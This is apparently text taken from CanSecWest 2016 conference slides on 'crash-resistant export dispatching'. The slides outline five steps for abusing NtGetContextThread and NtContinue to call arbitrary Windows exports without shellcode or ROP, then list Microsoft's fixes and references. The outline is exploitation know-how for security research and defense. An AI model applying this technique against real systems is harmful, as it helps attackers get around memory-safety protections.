Executing arbitrary exports without Shellcode, ROP or JIT (1) Get ESP with NtGetContextThread as last function in chain
(2) Prepare fake object with CONTEXT for NtContinue: → set EIP to wanted exported function (e.g., system call) → set ESP to free stack space
(3) Prepare free stack space: → write parameters for exported function → set return address for exported function to NULL
(4) Use virtual function call to launch NtContinue on indirect call site in crash-resistant mode
(5) Read return data of system call and proceed to step (2)
CanSecWest 2016
Crash-Resistant Export Dispatching
Executing arbitrary exports without Shellcode, ROP or JIT (1) Get ESP with NtGetContextThread as last function in chain
(2) Prepare fake object with CONTEXT for NtContinue: → set EIP to wanted exported function (e.g., system call) → set ESP to free stack space
(3) Prepare free stack space: → write parameters for exported function → set return address for exported function to NULL
(4) Use virtual function call to launch NtContinue on indirect call site in crash-resistant mode
(5) Read return data of system call and proceed to step (2)
TNX to Yang Yu forthe NtContinue Trick [5] !
Mitigations
CanSecWest 2016
Mitigations
Fixes and Feedback by Microsoft
• user32 exception handing hardening feature addresses Internet Explorer 7-11 (MS15-124) [8]
• Crash-Resistant issue fixed in MS Edge (MS15-125) [9]
• Control Flow Guard is becoming more fine-grained with each Windows version: → NtContinue is no valid indirect call target in Windows10 RTM
• Code Integrity in MS Edge: - block loading of arbitrary libraries - block child process creation (Windows 10 Insider Preview)
CanSecWest 2016
References
[1] http://www.codeproject.com/Articles/98691/Why-it-s-not-crashing[2] http://www.phreedom.org/presentations/reverse-engineering-ani/reverse-engineering-ani.pdf[3] https://www.exploit-db.com/docs/37276.pdf[4] https://cansecwest.com/slides/2014/The Art of Leaks - read version - Yoyo.pdf[5] https://cansecwest.com/slides/2014/ROPs_are_for_the_99_CanSecWest_2014.pdf[6] https://networkx.github.io/[7] https://github.com/cea-sec/miasm/tree/master/miasm2[8] https://technet.microsoft.com/en-us/library/security/ms15-124.aspx[9] https://technet.microsoft.com/en-us/library/security/ms15-125.aspx